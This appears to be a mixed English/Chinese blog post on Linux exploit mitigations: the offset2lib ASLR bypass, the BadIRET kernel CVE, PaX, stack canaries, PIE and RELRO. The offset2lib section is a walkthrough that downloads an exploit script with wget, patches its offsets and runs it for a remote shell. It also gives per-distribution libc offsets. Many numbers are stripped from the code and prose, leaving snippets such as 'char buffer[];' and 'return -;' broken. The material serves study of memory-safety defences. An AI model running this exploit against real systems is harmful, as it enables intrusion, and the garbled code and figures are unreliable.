Catalog

. Linux attack vector
. Grsecurity/PaX
. Hardened toolchain
. Default addition of the Stack Smashing Protector (SSP): Compiler Flag: GS
. Automatic generation of Position Independent Executables (PIEs): System Characteristic + Compiler Flag: ASLR
. Default to marking read-only, sections that can be so marked after the loader is finished (RELRO): Compiler Flag + System Characteristic: DEP / NX
. Default full binding at load-time (BIND_NOW)
. Heap Protector
. Pointer Obfuscation
. Built with Fortify Source
. /proc/$pid/maps protection
. ptrace scope
. /dev/mem protection
. Block module loading
. Syscall Filtering
. How To Harden Linux

0. Linux attack vector

0x1: Offset2lib: bypassing full ASLR on 64bit Linux

1. Introduction

Address-Space Layout Randomization (ASLR) is a technique used to thwart attacks which relies on knowing the location of the target code or data. The effectiveness of ASLR hinges on the entirety of the address space layout remaining unknown to the attacker. Only executables compiled as Position Independent Executable (PIE) can obtain the maximum protection from the ASLR technique since all the sections are loaded at random locations.

Offset2lib is a security weakness on the implementation of the ASLR in GNU/Linux when the executable is PIE compiled

A PoC attack is described to illustrate how the weakness can be exploited. The attack bypasses the three most widely adopted and effective protection techniques: No-eXecutable bit (NX), address space layout randomization (ASLR) and stack smashing protector (SSP). The exploit obtaines a remote shell in less than one second.

2. ASLR weakness

It is specific to GNU/Linux and does not affect Windows or Mac OS. It is not a programming error on the code that implements the ASLR, but a weakness on the design
The problem appears when an application is PIE(Position Independent Executable) compiled. The executable image is handled as if it were a shared library, that is, it is loaded at a random location in memory. The GNU/Linux algorithm for loading ASLR objects works as follows

. The first shared object is loaded at a random position (the application).
. The next shared objects are loaded one after the other.

Therefore, a memory leak of an address belonging to the application is enough to de-randomise the memory map of the application. Note that it is not necessary to have a leak of a GOT address (after is has been properly initialised) but just the program counter of the process.
The offset2lib value it is a constant value which may be slightly different on each system, depending on the library version and the order how the libraries have been loaded.

3. Offset2lib attack

The goal of the attack is to obtain an address which belongs to the application code. The following attack exploits a standard stack buffer overflow to obtain the saved-IP address (of the app. code) stored in the stack.
We have structured the attack in 5 steps. Our attack starts by doing an off-line analysis of the target application and its execution environment. The unknown information (hidden by the ASLR) is obtained via brute force, thanks to the forking server architecture of the target. Once we have the full address of the application, the base address of the application is calculated. The last step is to have the memory map of all the libraries, which depends on the GNU/Linux distribution of the target. With the obtained information it is easy to arm a ROP program to get a remote shell. The complete on-line attack may take no more than one second.
The steps to build the attack are:

. Extract static information
. Bruteforce a part of saved-IP
. Calculate the base application address
. Calculate the offset2lib constants
. Obtain mmapped areas
Step Description Result
1a Set the highest 24 bits. These bytes are known off-line.

1b Set the 12 lower bits. Due to page alignment.

2 The remaining 28 random bits of the saved-IP are obtained by using the byte-for-byte attack against the saved-IP. Note that only three and a half bytes need to be bruteforced.

3 Using the saved-IP calculated in the previous step we can obtain the executable base address as follow:

App_base = (savedIP & 0xFFF)-(CALLER_PAGE_OFFSET << 12)

0x00007F36C6fEB000


4 Calculate the offset2lib for the target libraries. These values are different depending on the system, but quite similar among them. A fast way to obtain these offset2lib values are by executing the application (on local) and print the offsets. The offset2lib does not depends on the application itself. We have calculated the offset2lib for some Linux distributions.
Distribution Libc ver. Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000

5 The base address of any library can be calculated by just subtracting the offset2lib. For example to obtain the libc base address we simply do:

Libc_base = App_base - offset2lib

0x00007f36c6a07000


The attack presented here is only a demonstrative example of how to exploit the ASLR offset2lib weakness.

4. Proof of Concept

This is a working example to show how to exploit the offset2lib weakness. You need:

. Small program to obtain the offset2lib value for the libc: get_offset2lib.tgz
. The vulnerable server: vuln-server-64bit.tgz
. The python script to make the attack: exploit-offset2lib-ubuntu-14.04.-LTS.py

Launching the vulnerable server:

. wget http://cybersecurity.upv.es/attacks/offset2lib/vuln-server-64bit.tgz
. tar xvf vuln-server-64bit.tgz
. make
. sudo /etc/init.d/apport stop # avoid creating cores on crashes (speed-up)
. sudo ./server_64_PIE_SSP

Obtaining the offets2lib value of the target system (on another console):

. wget http://cybersecurity.upv.es/attacks/offset2lib/get_offset2lib.tgz
. tar xvf get_offset2lib.tgz
. make -f Makefile.offset2lib
. ./get_offset2lib
//Offset2lib (libc): 0x5b6000

Configure and Launching the exploit:

. wget http://cybersecurity.upv.es/attacks/offset2lib/exploit-offset2lib-ubuntu-14.04.1-LTS.py
. sed -i 's/\(OFFSET_TO_LIBC\).*=.*/\1=0x5b6000/' exploit-offset2lib-ubuntu-14.04.-LTS.py
. objdump -d server_64_PIE_SSP| grep -A1 vulnerable_function\>$
/*
113b: e8 6d fc ff ff callq dad <vulnerable_function>
1140: 48 8d 45 e0 lea -0x20(%rbp),%rax
*/
. sed -i 's/\(PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL\).*=.*/\1=0x1/' exploit-offset2lib-ubuntu-14.04.-LTS.py
. sed -i 's/\(OFFSET_SAVED_RIP\).*=.*/\1=0x140/' exploit-offset2lib-ubuntu-14.04.-LTS.py . chmod a+x exploit-offset2lib-ubuntu-14.04.-LTS.py
. ./exploit-offset2lib-ubuntu-14.04.-LTS.py
. ./exploit-offset2lib-ubuntu-14.04.-LTS.py -s localhost -p

5. Recommendations

There are several solutions and workarounds to this weakness

. Prevent the weakness with PaX patch
Among many other security improvements, the PaX (from GRSecurity) patch places the executable at random positions with respect to the other shared objects.
这让"PIE编译后,Binary加载的基址和Libc加载的基址的距离是固定的"的攻击前提不在存在
PaX defines four zones:
) delta_exec: code, data, bss.
) brk: heap.
) delta_mmap: libraries, mapped files, thread stack, shared memory, ...
) delta_stack: user stack.
Pax solution also increases the number of entropy of each zone, even it is able to randomise non-PIE applications. As far as we know it is the most advanced ASLR implementation. Unfortunately, some people think that it is a too complex patch with, may be, too many features (some advanced features may break backward compatibility on some applications). . Fixing Offset2lib weakness
In order to remove the offset2lib weakness, the executable shall be located at a different zone than libraries. We have created a small patch for the current Linux kernel (3.18-rc7) which implements four different zones, so that the executable is not in the same zone than libraries. . Prevent the exploitation with RenewSSP
To successfully bypass the ASLR by exploiting the stack buffer overflow presented in the PoC, the attacker needs to bypass first the stack smashing protector (SSP). If the SSP protection can not be bypassed, then the PoC would fail.
A new technique, called renewSSP can be used to prevent brute force attacks against the SSP. This technique is a variant of the classic SSP where the value of the secret canary is renewed dynamically at key places in the program. This way, the secret is refreshed more often. The SSP value can be renewed per-process preventing the ``byte-for-byte'' attack. The technique is not intrusive, and can be applied by just pre-loading a shared library. The overhead is almost negligible.

0x2: Exploiting "BadIRET" vulnerability (CVE-2014-9322, Linux kernel privilege escalation)

arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not properly handle faults associated with the Stack Segment (SS) segment register, which allows local users to gain privileges by triggering an IRET instruction that leads to access to a GS Base address from the wrong space.

. With the tested kernel, the vulnerability can be reliably exploited to achieve kernelmode arbitrary code execution.
. SMEP does not prevent arbitrary code execution; SMAP does prevent arbitrary code execution.

1. The vulnerability

In a few cases, when Linux kernel returns to usermode via iret, this instruction throws an exception. The exception handler returns execution to bad_iret function, that does

/* So pretend we completed the iret and took the #GPF in user mode.*/
pushq $
SWAPGS
jmp general_protection

The problematic case is #SS exception. If a kernel is vulnerable (so, before kernel version 3.17.5) and has “espfix” functionality (introduced around kernel version 3.16), then bad_iret executes with a read-only stack – “push” instruction generates a page fault that gets converted into double fault. ; from now on, we focus on pre 3.16 kernel, with no “espfix”.
The vulnerability stems from the fact that the exception handler for the #
SS exception does not fit the “pretend-it-was-#GP-in-userspace” schema well. In comparison with e.g. #GP handler, the #SS exception handler does one extra swapgs instruction.

2. SMEP

SMEP is a feature of Intel processors, starting from 3rd generation of Core processor. If the SMEP bit is set in CR4, CPU will refuse to execute code with kernel privileges if the code resides in usermode pages. Linux enables SMEP by default if available.

Relevant Link:

http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
http://lwn.net/Articles/517475/

1. Grsecurity/PaX

0x1: 什么是Pax

PaX是针对linux kernel的一个加固版本的补丁,它让linux内核的内存页受限于最小权限原则,是一个有效的防御"系统级别0DAY"的方案,第1版的设计和实现诞生于2000年,但是当年Linux内核不收PaX进入upstream是因为很多人觉得PaX不是那么的好维护,之后linux内核推出了LSM(Linux Security Module),LSM利用了一堆CAPABILITY的机制提供了一些限制用户态程序访问控制的接口,SELinux和Apparmor就是基于LSM开发的。需要注意的是LSM并不是一个传统意义上的linux kernel module

. 必须在bootloader启动内核时启动,不能在内核加载完后启动
. 不能同时启动2个LSM的实现,当然后来有人实现了一套LSM Stacking堆栈式调用方式,但是并没有进入Linux内核原生支持

当我们谈到PaX时都会写Grsecurity/PaX,这是因为PaX从一开始就主要关注如何防御和检测memory corruption,后来Grsecurity社区发现PaX和他们所关注的非常类似,所以就合并了,在很长的一段时间里PaX主要关注memorycorruption,而Grsecurity则实现其他的功能包括RBAC,但后来2个社区的工作开始模糊了:包括USERCOPY, STACKLEAK, RANDSTRUCT, etc..都是整个Grsecurity/PaX共同实现的特性

PaX team认为会导致漏洞利用的bug给予了攻击者(区分攻击者和黑客是不同的term)在3个不同层面上访问被攻击的进程

. 执行任意代码
. 执行现有代码但打破了原有的执行顺序
. 原有的执行顺序执行现有代码,但加载任意数据

0x2: PaX里vma mirroring的设计

在2003年的晚些时候PaX实现了虚拟内存空间的镜像( vma mirroring),vmamirroring的目的是为了在一组物理页上做特殊文件隐射时有2个不同的线性地址,这2个地址即使在swap-out/swap-in或者COW后依然是不会改变的。这样做的目的为了满足几种场景

. 把可执行的区域在使用SEGMEXEC隐射进入代码段。在32-bit的linux内核里的4GB地址空间是其中3GB给用户空间,1GB给内核空间,而vma mirroring把用户空间的3GB划分成了2个1.5GB分别是给代码段和数据段,在可执行区域里包含的数据的部分(常量字符串,函数指针表等)都会mirroring到数据段里
. 实现可执行区域的地址随机化(RANDEXEC)
. 这个引出了第3种情况,就是SEGMEXEC和RANDEXEC同时激活,这个的效果和PIE+ASLR的效果类似,不同的不是整个elf binary的代码段随机化,而是在mirroring时对代码段和数据段进行随机化

Relevant Link:

https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x01_DNFWAH_archeological_hacking_on_pax.txt
https://wiki.gentoo.org/wiki/Hardened/PaX_Quickstart
https://linux.cn/article-5750-qqmail.html

2. Hardened toolchain

Hardened toolchain introduces a number of changes to the default behaviour of the toolchain (gcc, binutils, glibc/uclibc) intended to improve security. It supports other initiatives taken by the hardened project; most directly PaX and Grsecurity, but can also be applied to SELinux and RSBAC.

0x1: Check Tools

aaarticlea/png;base64,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" alt="" />

Relevant Link:

https://github.com/slimm609/checksec.sh
https://wiki.gentoo.org/wiki/Hardened/Toolchain
https://wiki.ubuntu.com/Security/Features

3. Default addition of the Stack Smashing Protector (SSP): Compiler Flag: GS

First developed by Dr Hiroaki Etoh at IBM for the 3.x series of GCC (originally under the name ProPolice) and re-developed in a different way for the 4.x series by RedHat, the Stack Smashing Protector attempts to protect against stack buffer overflows. It causes the compiler to insert a check for stack buffer overflows before function returns. If an attempt is made to exploit a previously unfixed (and probably undiscovered) error that exposes a buffer overflow vulnerability, the application will be killed immediately. This reduces any potential exploit to a denial-of-service.
Normally the compiler must be explicitly directed to switch on the stack protection via compiler options.
类似于windows上的GS编译技术,本质是在函数return返回的时候,检测当前栈空间是否遭到污染
The Stack Smashing Protector (SSP) compiler feature helps detect stack buffer overrun by aborting if a secret value on the stack is changed. This serves a dual purpose in making the occurrence of such bugs visible and as exploit mitigation against return-oriented programming. SSP merely detects stack buffer overruns, they are not prevented. The detection can be beaten by preparing the input such that the stack canary is overwritten with the correct value and thus does not offer perfect protection. The stack canary is native word sized and if chosen randomly, an attacker will have to guess the right value among 2^32 or 2^64 combinations (and revealing the bug if the guess is wrong), or resort to clever means of determining it.

0x1: Description

Compilers implement this feature by selecting appropriate functions, storing the stack canary during the function prologue and checking the value at the epilogue, invoking a failure handler if it was changed. For instance, consider the code:

void foo(const char* str)
{
char buffer[];
strcpy(buffer, str);
}

SSP automatically illustratively transforms that code into this:

/*
Note how buffer overruns are undefined behavior and the compilers tend to optimize these checks away if you wrote them yourself, this only works robustly because the compiler did it itself.
*/
extern uintptr_t __stack_chk_guard;
noreturn void __stack_chk_fail(void);
void foo(const char* str)
{
//在最靠近return函数返回的位置设置canary(SSP Check)
uintptr_t canary = __stack_chk_guard;
char buffer[];
strcpy(buffer, str);
if ( (canary = canary ^ __stack_chk_guard) != )
__stack_chk_fail();
}

Note how the secret value is stored in a global variable (initialized at program load time) and is copied into the stack frame, and how the it is safely erased from the stack as part of check. Since stacks grow downwards on many architectures, the canary gets overwritten whenever input to strcpy is at least 16 characters. The caller return pointer exploited in return-oriented programming attacks is not accessed until after the value was validated, thus defusing such attacks.

0x2: Implementation

Run-time support needs only two components: A global variable and a check failure handler. For instance, a minimal implementation could be:

#include <stdint.h>
#include <stdlib.h> #if UINT32_MAX == UINTPTR_MAX
#define STACK_CHK_GUARD 0xe2dee396
#else
#define STACK_CHK_GUARD 0x595e9fbd94fda766
#endif uintptr_t __stack_chk_guard = STACK_CHK_GUARD; __attribute__((noreturn))
void __stack_chk_fail(void)
{
#if __STDC_HOSTED__
abort();
#elif __is_myos_kernel
panic("Stack smashing detected");
#endif
}

Note how the secret guard value is hard-coded rather than being decided during program load. You should have the program loader (the bootloader in the case of the kernel) randomize the values. You can do this by putting the guard value in a special segment that the loader knows to randomize.

0x3: compile flag

GCC 4.1 中三个与堆栈保护有关的编译选项

. -fstack-protector: 启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
. -fstack-protector-all: 启用堆栈保护,为所有函数插入保护代码
. -fno-stack-protector: 禁用堆栈保护

Relevant Link:

http://en.wikipedia.org/wiki/Buffer_overflow_protection
http://wiki.osdev.org/Stack_Smashing_Protector
https://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/
http://www.linuxfromscratch.org/hints/downloads/files/ssp.txt

4. Automatic generation of Position Independent Executables (PIEs): System Characteristic + Compiler Flag: ASLR

Standard executables have a fixed base address, and they must be loaded to this address otherwise they will not execute correctly. Position Independent Executables can be loaded anywhere in memory much like shared libraries, allowing PaX 's Address Space Layout Randomisation (ASLR) to take effect. This is achieved by building the code to be position-independent, and linking them as ELF shared objects.
类似于windows上的ASLR技术,通过将栈地址空间随机化,在很大程度上提高了黑客的shellcode的编写难度

In computing, position-independent code (PIC) or position-independent executable (PIE) is a body of machine code that, being placed somewhere in the primary memory, executes properly regardless of its absolute address.

. PIC is commonly used for shared libraries, so that the same library code can be loaded in a location in each program address space where it will not overlap any other uses of memory (for example, other shared libraries)
. PIC was also used on older computer systems lacking an MMU,[] so that the operating system could keep applications away from each other even within the single address space of an MMU-less system.

Position-independent code can be executed at any memory address without modification. This differs from relocatable code, where a link editor or program loader modifies a program before execution, so that it can be run only from a particular memory location.

0x1: Technical details

Procedure calls inside a shared library are typically made through small procedure linkage table stubs, which then call the definitive function. This notably allows a shared library to inherit certain function calls from previously loaded libraries rather than using its own versions.
Data references from position-independent code are usually made indirectly, through global offset tables (GOTs), which store the addresses of all accessed global variables. There is one GOT per compilation unit or object module, and it is located at a fixed offset from the code (although this offset is not known until the library is linked). When a linker links modules to create a shared library, it merges the GOTs and sets the final offsets in code. It is not necessary to adjust the offsets when loading the shared library later.
Position independent functions accessing global data start by determining the absolute address of the GOT given their own current program counter value.

0x2: compile flag

. -fpic
Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 8k on the SPARC and 32k on the m68k and RS/. The x86 has no such limit.)
Position-independent code requires special support, and therefore works only on certain machines. For the x86, GCC supports PIC for System V but not for the Sun 386i. Code generated for the IBM RS/ is always position-independent.
When this flag is set, the macros __pic__ and __PIC__ are defined to . . -fPIC
If supported for the target machine, emit position-independent code, suitable for dynamic linking and avoiding any limit on the size of the global offset table. This option makes a difference on the m68k, PowerPC and SPARC.
Position-independent code requires special support, and therefore works only on certain machines.
When this flag is set, the macros __pic__ and __PIC__ are defined to . . -fpie
. -fPIE
These options are similar to -fpic and -fPIC, but generated position independent code can be only linked into executables. Usually these options are used when -pie GCC option is used during linking.
-fpie and -fPIE both define the macros __pie__ and __PIE__. The macros have the value for -fpie and for -fPIE.

Position Independent Executables (PIE) are an output of the hardened package build process. A PIE binary and all of its dependencies are loaded into random locations within virtual memory each time the application is executed. This makes Return Oriented Programming (ROP) attacks much more difficult to execute reliably.

要实现PIE安全加固技术,需要操作系统和编译器同时提供支持,即操作系统提供基础能力,编译器基于此对待编译的程序进行处理

. Linux kernel features
Address Space Layout Randomization (ASLR) can help defeat certain types of buffer overflow attacks. ASLR can locate the base, libraries, heap, and stack at random positions in a process's address space, which makes it difficult for an attacking program to predict the memory address of the next instruction
) echo value > /proc/sys/kernel/randomize_va_space
) vim /etc/sysctl.conf : kernel.randomize_va_space = value : sysctl -p . compiler flag
-fpie、-fpic

Relevant Link:

http://en.wikipedia.org/wiki/Position-independent_code
https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html
https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/

5. Default to marking read-only, sections that can be so marked after the loader is finished (RELRO): Compiler Flag + System Characteristic: DEP / NX

There are several sections that need to be writable by the loader before the application starts, but do not need to be writable by the application itself later. Setting relro instructs the linker to record which sections this applies to, and the loader will mark them read-only before passing or returning execution control to the application. Typical sections affected include .ctors, .dtors, .jcr, .dynamic and .got, although the exact list varies according to arch.

The difference between Partial RELRO and Full RELRO is that the Global Offset Table (and Procedure Linkage Table) which act as kind-of process-specific lookup tables for symbols (names that need to point to locations elsewhere in the application or even in loaded shared libraries) are marked read-only too in the Full RELRO. Downside of this is that lazy binding (only resolving those symbols the first time you hit them, making applications start a bit faster) is not possible anymore.

0x1: GOT Overwrite Demo

// Include standard I/O declarations
#include <stdio.h>
// Include string declarations
#include <string.h> // Program entry point
int main(int argc, char** argv)
{
// Terminate if program is not run with three parameters.
if (argc != )
{
// Print out the proper use of the program
puts("./a.out <size> <offset> <string>");
// Return failure
return -;
